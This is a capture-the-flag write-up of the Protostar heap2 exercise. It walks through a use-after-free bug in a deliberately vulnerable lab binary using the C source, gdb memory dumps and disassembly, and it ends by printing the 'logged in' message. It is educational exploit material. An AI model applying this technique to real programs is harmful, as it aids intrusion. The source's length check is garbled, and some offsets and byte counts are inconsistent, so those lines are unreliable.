Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
This is an example of a ‘use after free’ bug. You shouldn’t operate on any object/pointer after it has been freed. Another interesting feature of triggering this class of vulnerability is that it may never manifest itself in an application crash.
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/heap2 [ auth = (nil), service = (nil) ] auth test [ auth = 0x804c008, service = (nil) ]
Exploit
Get the program to print “you have logged in already!” message
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth * auth;
char * service;
int main(int argc, char ** argv) {
char line[128];
while (1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if (fgets(line, sizeof(line), stdin) == NULL) break;
if (strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if (strlen(line + 5) & > 31) {
strcpy(auth->name, line + 5);
}
}
if (strncmp(line, "reset", 5) == 0) {
free(auth);
}
if (strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if (strncmp(line, "login", 5) == 0) {
if (auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Program goes into infinite while loop. Program reads stdin and tries to match keyword commands [“auth “, “reset”, “service”, “login”].
In order to reach the target message we have to pass the condition of auth->auth being a none zero value. Nowhere within the code is auth->auth assigned a value.
If we consider trying to overflow the memory when auth->name is assigned a value from stdin via strcpy, that won’t work either because a string length check is made of the input string restricting to 27 bytes.
Let’s examine the memory contents of auth when it has a value assigned to auth->name
gdb$ r [ auth = (nil), service = (nil) ] auth AAAA gdb$ x /64xb $eax-8 0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804c008: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Let’s now issue the ‘login’ command and see where in memory the comparison is made.
=>0x8048a8b <main+343>: mov eax,DWORD PTR [eax+0x20] 0x8048a8e <main+346>: test eax,eax 0x8048a90 <main+348>: je 0x8048aa3 <main+367> 0x8048a92 <main+350>: mov DWORD PTR [esp],0x804ada7 0x8048a99 <main+357>: call 0x804883c <puts@plt> 0x8048a9e <main+362>: jmp 0x8048943 <main+15> 0x8048aa3 <main+367>: mov DWORD PTR [esp],0x804adc3 0x8048aaa <main+374>: call 0x804883c <puts@plt> gdb$ x /32xb $eax 0x804c008: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 gdb$ x /32xb $eax+10 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 gdb$ x /32xb $eax+20 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
It’s looking at 0x804c028 for auth->auth.
Let’s run the ‘reset’ command to free this heap object and then examine the ‘auth’ once again.
gdb$ c please enter your password [ auth = 0x804c008, service = (nil) ] reset gdb$ c [ auth = 0x804c008, service = (nil) ] login gdb$ x /48xb $eax-8 0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804c008: 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
The heap object is still there but the string is gone.
What if we try to create a new object on the heap using ‘service’ and use a larger size (16 bytes) in memory.
gdb$ c please enter your password [ auth = 0x804c008, service = (nil) ] service SSSSSSSSSSSSSSSS
Examine the ‘login’ command and see if the memory content has changed.
gdb$ c [ auth = 0x804c008, service = 0x804c018 ] login gdb$ x /64xb $eax-8 0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804c008: 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0x19 0x00 0x00 0x00 0x804c018: 0x20 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x804c020: 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x804c028: 0x53 0x0a 0x00 0x00 0xd9 0x0f 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
If you recall from above that that the location for the comparison on auth->auth was at 0x804c028 you can now see that we have managed to overwrite this location with ‘service’.
Although the heap object was freed the ‘stale’ memory pointer to auth->auth is not nulled and still used.
gdb$ c you have logged in already! [ auth = 0x804c008, service = 0x804c018 ]
Thank you